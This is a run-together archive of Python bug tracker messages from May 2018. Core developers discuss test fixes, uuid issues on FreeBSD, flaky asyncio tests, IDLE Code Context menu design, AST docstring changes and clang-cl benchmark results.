<1524665655.9.0.682650639539.issue33354@psf.upfronthosting.co.za> Message-ID: <1527200447.34.0.682650639539.issue33354@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 19f6bd06af3c7fc0db5f96878aaa68f5589ff13e by Victor Stinner (Pablo Galindo) in branch '2.7': bpo-33354: Fix test_ssl when a filename cannot be encoded (GH-6613) https://github.com/python/cpython/commit/19f6bd06af3c7fc0db5f96878aaa68f5589ff13e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:22:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 22:22:12 +0000 Subject: [issue33354] Python2: test_ssl fails on non-ASCII path In-Reply-To: <1524665655.9.0.682650639539.issue33354@psf.upfronthosting.co.za> Message-ID: <1527200532.11.0.682650639539.issue33354@psf.upfronthosting.co.za> STINNER Victor added the comment: Thanks Pablo for your fix! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:24:32 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 22:24:32 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527200672.21.0.682650639539.issue33629@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:25:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 22:25:17 +0000 Subject: [issue33640] uuid: endian of the bytes argument is not documented In-Reply-To: <1527196125.95.0.682650639539.issue33640@psf.upfronthosting.co.za> Message-ID: <1527200717.99.0.682650639539.issue33640@psf.upfronthosting.co.za> STINNER Victor added the comment: At least, the UUID.bytes *attribute* is documented as using big endian: https://docs.python.org/dev/library/uuid.html#uuid.UUID.bytes ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:26:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 22:26:38 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527200798.87.0.682650639539.issue33639@psf.upfronthosting.co.za> STINNER Victor added the comment: > I'm a bit depressed by the number of issues here that have a good patch waiting to be merged, or even read, and that languish for years. I'm really sorry about that. We, core developers, are doing our best, but we are 34 active core developers who merged 5000 pull requests in 1 year. We don't scale well :-( We are working on getting more people onboard. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:45:18 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 22:45:18 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527201918.17.0.682650639539.issue32493@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 17d8830312d82e7de42ab89739b0771f712645ff by Victor Stinner (Serhiy Storchaka) in branch 'master': bpo-32493: Fix uuid.uuid1() on FreeBSD. (GH-7099) https://github.com/python/cpython/commit/17d8830312d82e7de42ab89739b0771f712645ff ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:46:19 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 22:46:19 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527201979.07.0.682650639539.issue32493@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6743 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 18:54:32 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 24 May 2018 22:54:32 +0000 Subject: [issue22703] Idle Code Context: separate changing current and future editors In-Reply-To: <1414023415.32.0.701318253357.issue22703@psf.upfronthosting.co.za> Message-ID: <1527202472.19.0.682650639539.issue22703@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Cheryl, you are right. The extension-feature conversion made this issue mostly obsolete. Editors start without code context and the menu only toggles the current window. If I had thought about it, I would have closed this or added an update last fall. And I should have retested this yesterday. The differences from what I proposed above are more or less intentional. So don't write a patch until we agree on a list of changes. I re-read #17535, msg225416, 2014-08-16 17:18, where this started, but not the discussions on the tracker and PR about the conversion details. --- MENU has no checkmark: I noted on msg225416 that the checkmark never indicated the current state of the current window and that there was hardly any need to keep it and change its meaning, because the current state of the current window is plainly visible. I am currently inclined to leave it off. Instead, I would like to prefix 'Code Context' with 'Toggle'. What do you think? Whatever we do would be a precedent for other local options, such as a line number toggle, both on this menu and a context menu. Since the effect of 'Code Context' is only local and not global, there should at least be a line separator after the global settings entry. I might even like a dummy entry such as 'Current window:' after the line. Local options should also be on the right-click context menu. Based on my experience with using breakpoints, I want to try replacing the current line options 'Set Breakpoint' and 'Clear Breakpoint' with 'Toggle Breakpoint'. 'Toggle Code Context' would go with this. --- Initial presence of CC in new windows: config-extensions.def has [CodeContext] numlines= 3 visible= False 'numlines' is read and used. 'visible' is ignored. To be sure, I added 'visible=True' to config-extensions.cfg and it made no difference. To enable CC defaulting to on for new editors, we would add a checkbox "[ ] Initially Visible" after the "Context lines [ ]" box on the General tab, much like the "[ ] Bell on Mismatch" above on the same tab. Saving changes would be the same. The added wiring would be a bit different. This would not be re-enabling anything that properly worked before the conversion. One had to enable the feature, turn on 'visible' and then either never use the toggle or go back through the dialog to turn on 'visible' after the toggle turned it off. Then, once one had CC running, there was the tradeoff between too many blank lines and too few real context lines. I suspect most people left CC disabled even after trying it out. I don't feel it a rush to add this option until it is plausibly something someone might do. The aim of #33610 is to make this be true. In any case, this might be better as a PR separate from fiddling with the menus. I intentionally did not say 're-enable' As I remember, I did not do this because I could not believe that much of anyone was intentionally setting visible=True, at least for very long. using this option. Having too many blank lines Open editor, no cc. Toggle, cc. Open another editor, no cc. Close IDLE. Add the following .idlerc/config-extensions.cff. [CodeContext] visible= True OpenIDLE, open editor, no cc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:05:40 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 23:05:40 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527203140.87.0.682650639539.issue33615@psf.upfronthosting.co.za> STINNER Victor added the comment: It would be nice to fix this bug before Python 3.7.0 final: either skip the test, or fix it. Since the functions are still private, skipping a single test (until it's fixed) should be fine. ---------- priority: normal -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:09:33 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 23:09:33 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527203373.57.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: It would be nice to fix this bug before Python 3.7.0 final: either skip the test, or fix it. Flaky tests can be very annoying. For example, the full test suite is run to build a Red Hat package. If a single test fails, the package build fails and should be retried whereas it's slow. I understood that fixing the root cause might require to rewrite the test, so I don't expect a quick fix on this test. The issue is open since last December... Maybe we can skip the test but fix it in Python 3.7.1? ---------- priority: high -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:10:31 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 24 May 2018 23:10:31 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527203431.94.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: I'm OK to skip it for now. Writing functional tests is super hard because some buildbots are super slow and unpredictable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:12:09 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 23:12:09 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527203529.52.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: > I'm OK to skip it for now. Writing functional tests is super hard because some buildbots are super slow and unpredictable. Would you mind to write a PR to skip the PR? So you will feel guilty and will try to remind to fix it! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:18:44 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 23:18:44 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527203924.67.0.682650639539.issue33615@psf.upfronthosting.co.za> Ned Deily added the comment: Victor: >It would be nice to fix this bug before Python 3.7.0 final: either skip the test, or fix it. These tests (and failures) are only on master / 3.x, not 3.7, right? If so, they have no bearing on 3.7.0. ---------- nosy: +ned.deily priority: deferred blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:23:01 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 23:23:01 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527204181.87.0.682650639539.issue32493@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 5734f41a9b46b4fd65b6ba90240b108f8a0b7c57 by Miss Islington (bot) in branch '3.7': bpo-32493: Fix uuid.uuid1() on FreeBSD. (GH-7099) https://github.com/python/cpython/commit/5734f41a9b46b4fd65b6ba90240b108f8a0b7c57 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:23:28 2018 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 24 May 2018 23:23:28 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527204208.64.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: Not at my computer right now, can do it tomorrow. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:29:03 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 23:29:03 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527204543.24.0.682650639539.issue32493@psf.upfronthosting.co.za> STINNER Victor added the comment: Thank you Serhiy Storchaka for the fix! If someone cares about AIX, please open a different issue. (AIX has other more important functions that you be fixed, IHMO.) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:29:50 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 23:29:50 +0000 Subject: [issue32493] UUID Module - FreeBSD build failure In-Reply-To: <1515092270.67.0.467229070634.issue32493@psf.upfronthosting.co.za> Message-ID: <1527204590.41.0.682650639539.issue32493@psf.upfronthosting.co.za> Change by Ned Deily : ---------- priority: deferred blocker -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:48:01 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 24 May 2018 23:48:01 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527205681.09.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: Correct. These failures are only on master. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:48:28 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 23:48:28 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527205708.84.0.682650639539.issue33615@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh, I didn't know that it was a 3.8-only issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 19:50:56 2018 From: report at bugs.python.org (Eric Snow) Date: Thu, 24 May 2018 23:50:56 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527205856.78.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: no worries :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 20:39:11 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 00:39:11 +0000 Subject: [issue22703] Idle Code Context: separate changing current and future editors In-Reply-To: <1414023415.32.0.701318253357.issue22703@psf.upfronthosting.co.za> Message-ID: <1527208751.0.0.682650639539.issue22703@psf.upfronthosting.co.za> Terry J. Reedy added the comment: An experienced non-CS computer user I asked does not like 'toggle x' or 'switch x', but would like whichever of 'show x' and 'hide x' is appropriate (rather than both). For breakpoints, this would mean one menu entry, either 'set breakpoint' or 'clear breakpoint', rather than both (as currently). A few Menu entries are labelled 'Show x'. They don't need a 'Hide' menu variant as hiding is done otherwise. Checkmarks are OK, but she would prefer an empty box or circle as an dialogs, so that clicking more obviously means 'turn on' when in the 'off' state. It occurs to me now, after at least 20 years of using menus, that the logic of 'blank' is that 'blank' means 'do something', so that 'check' means 'something was done, undo it'. But I think that clicking 'clear breakpoint', for instance, is clearer than clicking 'v breakpoint', where 'v' represents a checkmark'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 20:41:45 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 25 May 2018 00:41:45 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext Message-ID: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> New submission from Cheryl Sabella : Item 7 from #33610: Change fixed # of lines to variable # of lines as needed, up to limit. About 15 is limit for 4-space indents in 80 char lines. * Change default number of lines to be 15 in config. * Label in config dialog. * Initialize context to be one blank line to show it's turned on. * Remove padding of blank lines. * Modify tests to show variable number of lines in context text instead of lines scrolling out of view. Tip: For manual tests, help.py works really well in viewing 15 lines. ---------- assignee: terry.reedy components: IDLE messages: 317649 nosy: cheryl.sabella, terry.reedy priority: normal severity: normal status: open title: IDLE: Use variable number of lines in CodeContext type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 20:43:14 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 00:43:14 +0000 Subject: [issue22703] Idle Code Context menu entrie(s) In-Reply-To: <1414023415.32.0.701318253357.issue22703@psf.upfronthosting.co.za> Message-ID: <1527208994.41.0.682650639539.issue22703@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Changing title since 'separation' has already been done. Adding a user configuration option is a separate issue. ---------- title: Idle Code Context: separate changing current and future editors -> Idle Code Context menu entrie(s) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 20:47:16 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 25 May 2018 00:47:16 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527209236.94.0.682650639539.issue33642@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- keywords: +patch pull_requests: +6744 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 20:47:17 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 25 May 2018 00:47:17 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527209237.01.0.682650639539.issue33642@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- keywords: +patch, patch pull_requests: +6744, 6745 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 20:47:56 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Fri, 25 May 2018 00:47:56 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527209276.77.0.682650639539.issue33610@psf.upfronthosting.co.za> Cheryl Sabella added the comment: For item 7 - #33642. ---------- dependencies: +IDLE: Use variable number of lines in CodeContext _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 20:59:50 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 25 May 2018 00:59:50 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527209990.35.0.682650639539.issue33642@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 2 quick thoughts. 1. I am not sure we can/should change the default, as it interacts with the recorded user changes for past versions. The default is that we never change defaults. (Having one user config for all Python/IDLE versions is a curse as well as a blessing. I anticipate having to do something different, sometime. 2. I was thinking for '' instead of a blank line for when CC is on but there is no real context. I think we should try both and see what seems better in use while moving down through a file. ---------- versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 21:17:46 2018 From: report at bugs.python.org (Mariatta Wijaya) Date: Fri, 25 May 2018 01:17:46 +0000 Subject: [issue33625] Release GIL for grp.getgr{nam, gid} and pwd.getpw{nam, uid} In-Reply-To: <1527105781.7.0.682650639539.issue33625@psf.upfronthosting.co.za> Message-ID: <1527211066.04.0.682650639539.issue33625@psf.upfronthosting.co.za> Mariatta Wijaya added the comment: In the future please use gender-neutral words such as "everyone", "people", or "folks" instead of "guys". Thanks. ---------- nosy: +Mariatta _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 21:58:11 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 25 May 2018 01:58:11 +0000 Subject: [issue33616] typing.NoReturn is undocumented In-Reply-To: <1527078788.95.0.682650639539.issue33616@psf.upfronthosting.co.za> Message-ID: <1527213491.67.0.682650639539.issue33616@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- keywords: +patch pull_requests: +6746 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 23:15:19 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Fri, 25 May 2018 03:15:19 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527218119.15.0.682650639539.issue32911@psf.upfronthosting.co.za> Benjamin Peterson added the comment: Regardless of the value of .docstring change, it seems it had some unexpected consequences. I think providing a new mode for compile mulitline statements is a reasonable way to address those consequences going forward. That said, it's extremely late in the lifecycle of 3.7 to be thinking about new APIs. How about rolling back the whole .docstring change for 3.7? Then, it can be landed again with compile(..., mode='multiline) for 3.8. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 23:38:07 2018 From: report at bugs.python.org (Ned Deily) Date: Fri, 25 May 2018 03:38:07 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527219487.13.0.682650639539.issue32911@psf.upfronthosting.co.za> Ned Deily added the comment: For the record, Serhiy commented on this issue today in a thread on the python-committers list: "I have doubts about two issues. I feel the responsibility for them because I had the opportunity to solve them before, but I lost it. 1. Changes in the AST. Few third-party projects was broken by it and already are fixed. I suppose yet few projects will be changed after 3.7 be released. It is interesting that IPython was broken in different way than other projects. It was needed to reintroduce the docstring in the list of statements, effectively reverting the 3.7 change. IPython allows to enter several statements at prompt, and therefore it compiles them with the 'exec' mode instead of 'single' as the CPython REPL and IDLE shell. Currently CPython doesn't allow you to paste arbitrary script like the following: if a: b if c: d You need to add an empty line between top-level complex statements. If one time CPython will add support of pasting several statements without empty lines between, it might need to add the same hack as IPython. I afraid that we might be needed to change AST again, in 3.7.1 or in 3.8.0." And later: "Inada's patch looked complex (actually it mostly restored the code before his previous change). We didn't know about IPython and we decided that it is not worth to change this code at this stage (after beta2). And definitely it will be later to do this after rc1." Full context/content starting here: https://mail.python.org/pipermail/python-committers/2018-May/005467.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 00:23:37 2018 From: report at bugs.python.org (Ethan Smith) Date: Fri, 25 May 2018 04:23:37 +0000 Subject: [issue33351] Support compiling with clang-cl on Windows In-Reply-To: <1524631004.17.0.682650639539.issue33351@psf.upfronthosting.co.za> Message-ID: <1527222217.22.0.682650639539.issue33351@psf.upfronthosting.co.za> Ethan Smith added the comment: After wrangling with some missing compiler intrinsics, I've been able to get CPython to build with an almost vanilla clang-cl! I plan on upstreaming the patches to the LLVM project once I clean them up a bit. After that I will clean up the CPython patches and send a PR. I also ran performance with master built on MSVC compared to my branch on clang-cl with computed-goto enabled (I wasn't sure if there are other things that may be possible to turn on, computed goto seemed an obvious win). The results are decent, but some things, like json loads, are much slower (not sure why that is). The full report: msvc.json ========= Performance version: 0.6.1 Report on Windows-10-10.0.17672-SP0 Number of logical CPUs: 12 Start date: 2018-05-24 03:40:09.082701 End date: 2018-05-24 04:08:57.993717 clang2goto.json =============== Performance version: 0.6.1 Report on Windows-10-10.0.17672-SP0 Number of logical CPUs: 12 Start date: 2018-05-24 04:29:01.214005 End date: 2018-05-24 04:57:08.774299 ### 2to3 ### Mean +- std dev: 675 ms +- 31 ms -> 655 ms +- 32 ms: 1.03x faster Significant (t=3.55) ### chameleon ### Mean +- std dev: 19.5 ms +- 0.5 ms -> 18.1 ms +- 0.7 ms: 1.08x faster Significant (t=13.19) ### chaos ### Mean +- std dev: 230 ms +- 6 ms -> 209 ms +- 8 ms: 1.10x faster Significant (t=16.39) ### crypto_pyaes ### Mean +- std dev: 212 ms +- 8 ms -> 197 ms +- 8 ms: 1.07x faster Significant (t=9.72) ### deltablue ### Mean +- std dev: 15.2 ms +- 0.6 ms -> 14.2 ms +- 0.5 ms: 1.07x faster Significant (t=10.23) ### django_template ### Mean +- std dev: 222 ms +- 9 ms -> 210 ms +- 8 ms: 1.06x faster Significant (t=8.10) ### dulwich_log ### Mean +- std dev: 235 ms +- 13 ms -> 230 ms +- 12 ms: 1.02x faster Significant (t=2.18) ### fannkuch ### Mean +- std dev: 905 ms +- 11 ms -> 802 ms +- 15 ms: 1.13x faster Significant (t=42.95) ### float ### Mean +- std dev: 226 ms +- 9 ms -> 197 ms +- 8 ms: 1.15x faster Significant (t=18.71) ### go ### Mean +- std dev: 485 ms +- 10 ms -> 445 ms +- 8 ms: 1.09x faster Significant (t=24.60) ### hexiom ### Mean +- std dev: 19.9 ms +- 0.9 ms -> 18.3 ms +- 0.8 ms: 1.08x faster Significant (t=9.51) ### html5lib ### Mean +- std dev: 156 ms +- 9 ms -> 149 ms +- 9 ms: 1.05x faster Significant (t=4.31) ### json_dumps ### Mean +- std dev: 23.4 ms +- 1.2 ms -> 23.0 ms +- 1.1 ms: 1.02x faster Not significant ### json_loads ### Mean +- std dev: 49.3 us +- 2.2 us -> 93.2 us +- 8.7 us: 1.89x slower Significant (t=-37.79) ### logging_format ### Mean +- std dev: 25.3 us +- 1.3 us -> 23.4 us +- 1.2 us: 1.08x faster Significant (t=8.48) ### logging_silent ### Mean +- std dev: 368 ns +- 14 ns -> 340 ns +- 21 ns: 1.08x faster Significant (t=8.69) ### logging_simple ### Mean +- std dev: 23.1 us +- 1.4 us -> 20.6 us +- 0.9 us: 1.12x faster Significant (t=11.66) ### mako ### Mean +- std dev: 36.7 ms +- 1.8 ms -> 36.0 ms +- 1.7 ms: 1.02x faster Not significant ### meteor_contest ### Mean +- std dev: 189 ms +- 9 ms -> 175 ms +- 9 ms: 1.08x faster Significant (t=9.09) ### nbody ### Mean +- std dev: 274 ms +- 12 ms -> 222 ms +- 8 ms: 1.24x faster Significant (t=28.22) ### nqueens ### Mean +- std dev: 198 ms +- 8 ms -> 174 ms +- 8 ms: 1.14x faster Significant (t=16.67) ### pathlib ### Mean +- std dev: 343 ms +- 19 ms -> 338 ms +- 18 ms: 1.02x faster Not significant ### pickle ### Mean +- std dev: 20.9 us +- 0.8 us -> 19.9 us +- 0.5 us: 1.05x faster Significant (t=8.91) ### pickle_dict ### Mean +- std dev: 50.0 us +- 1.9 us -> 51.2 us +- 3.0 us: 1.02x slower Significant (t=-2.62) ### pickle_list ### Mean +- std dev: 7.61 us +- 0.32 us -> 7.06 us +- 0.36 us: 1.08x faster Significant (t=8.92) ### pickle_pure_python ### Mean +- std dev: 964 us +- 52 us -> 879 us +- 43 us: 1.10x faster Significant (t=9.72) ### pidigits ### Mean +- std dev: 257 ms +- 5 ms -> 254 ms +- 9 ms: 1.01x faster Not significant ### python_startup ### Mean +- std dev: 69.6 ms +- 8.3 ms -> 69.5 ms +- 6.3 ms: 1.00x faster Not significant ### python_startup_no_site ### Mean +- std dev: 57.7 ms +- 6.6 ms -> 58.2 ms +- 6.0 ms: 1.01x slower Not significant ### raytrace ### Mean +- std dev: 1.00 sec +- 0.02 sec -> 0.94 sec +- 0.02 sec: 1.07x faster Significant (t=21.49) ### regex_compile ### Mean +- std dev: 335 ms +- 5 ms -> 306 ms +- 10 ms: 1.10x faster Significant (t=20.75) ### regex_dna ### Mean +- std dev: 237 ms +- 7 ms -> 266 ms +- 7 ms: 1.13x slower Significant (t=-23.71) ### regex_effbot ### Mean +- std dev: 4.42 ms +- 0.17 ms -> 4.82 ms +- 0.20 ms: 1.09x slower Significant (t=-12.07) ### regex_v8 ### Mean +- std dev: 45.2 ms +- 15.5 ms -> 39.7 ms +- 2.8 ms: 1.14x faster Significant (t=2.74) ### richards ### Mean +- std dev: 152 ms +- 8 ms -> 142 ms +- 9 ms: 1.07x faster Significant (t=6.19) ### scimark_fft ### Mean +- std dev: 665 ms +- 12 ms -> 593 ms +- 12 ms: 1.12x faster Significant (t=32.36) ### scimark_lu ### Mean +- std dev: 327 ms +- 11 ms -> 324 ms +- 11 ms: 1.01x faster Not significant ### scimark_monte_carlo ### Mean +- std dev: 205 ms +- 7 ms -> 192 ms +- 8 ms: 1.07x faster Significant (t=9.22) ### scimark_sor ### Mean +- std dev: 386 ms +- 11 ms -> 351 ms +- 11 ms: 1.10x faster Significant (t=18.36) ### scimark_sparse_mat_mult ### Mean +- std dev: 8.39 ms +- 0.31 ms -> 7.19 ms +- 0.40 ms: 1.17x faster Significant (t=18.44) ### spectral_norm ### Mean +- std dev: 279 ms +- 8 ms -> 238 ms +- 7 ms: 1.17x faster Significant (t=29.08) ### sqlalchemy_declarative ### Mean +- std dev: 250 ms +- 12 ms -> 245 ms +- 10 ms: 1.02x faster Significant (t=2.73) ### sqlalchemy_imperative ### Mean +- std dev: 47.2 ms +- 2.4 ms -> 47.4 ms +- 2.5 ms: 1.00x slower Not significant ### sqlite_synth ### Mean +- std dev: 5.37 us +- 0.25 us -> 5.22 us +- 0.21 us: 1.03x faster Significant (t=3.60) ### sympy_expand ### Mean +- std dev: 710 ms +- 16 ms -> 671 ms +- 20 ms: 1.06x faster Significant (t=11.92) ### sympy_integrate ### Mean +- std dev: 31.9 ms +- 1.3 ms -> 30.5 ms +- 1.4 ms: 1.05x faster Significant (t=5.51) ### sympy_str ### Mean +- std dev: 313 ms +- 9 ms -> 297 ms +- 8 ms: 1.05x faster Significant (t=10.39) ### sympy_sum ### Mean +- std dev: 151 ms +- 6 ms -> 143 ms +- 6 ms: 1.05x faster Significant (t=6.70) ### telco ### Mean +- std dev: 11.2 ms +- 0.4 ms -> 10.8 ms +- 0.4 ms: 1.04x faster Significant (t=5.45) ### unpack_sequence ### Mean +- std dev: 87.1 ns +- 3.8 ns -> 67.3 ns +- 4.3 ns: 1.29x faster Significant (t=26.90) ### unpickle ### Mean +- std dev: 27.4 us +- 1.9 us -> 25.3 us +- 1.5 us: 1.08x faster Significant (t=6.46) ### unpickle_list ### Mean +- std dev: 6.81 us +- 0.29 us -> 6.15 us +- 0.30 us: 1.11x faster Significant (t=12.38) ### unpickle_pure_python ### Mean +- std dev: 740 us +- 31 us -> 696 us +- 38 us: 1.06x faster Significant (t=6.82) ### xml_etree_generate ### Mean +- std dev: 197 ms +- 13 ms -> 190 ms +- 11 ms: 1.04x faster Significant (t=3.34) ### xml_etree_iterparse ### Mean +- std dev: 177 ms +- 12 ms -> 174 ms +- 11 ms: 1.02x faster Not significant ### xml_etree_parse ### Mean +- std dev: 229 ms +- 13 ms -> 229 ms +- 13 ms: 1.00x faster Not significant ### xml_etree_process ### Mean +- std dev: 161 ms +- 11 ms -> 154 ms +- 10 ms: 1.04x faster Significant (t=3.45) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 25 00:37:12 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 25 May 2018 04:37:12 +0000 Subject: [issue33616] typing.NoReturn is undocumented In-Reply-To: <1527078788.95.0.682650639539.issue33616@psf.upfronthosting.co.za> Message-ID: <1527223032.38.0.682650639539.issue33616@psf.upfronthosting.co.za> Change by miss-islington 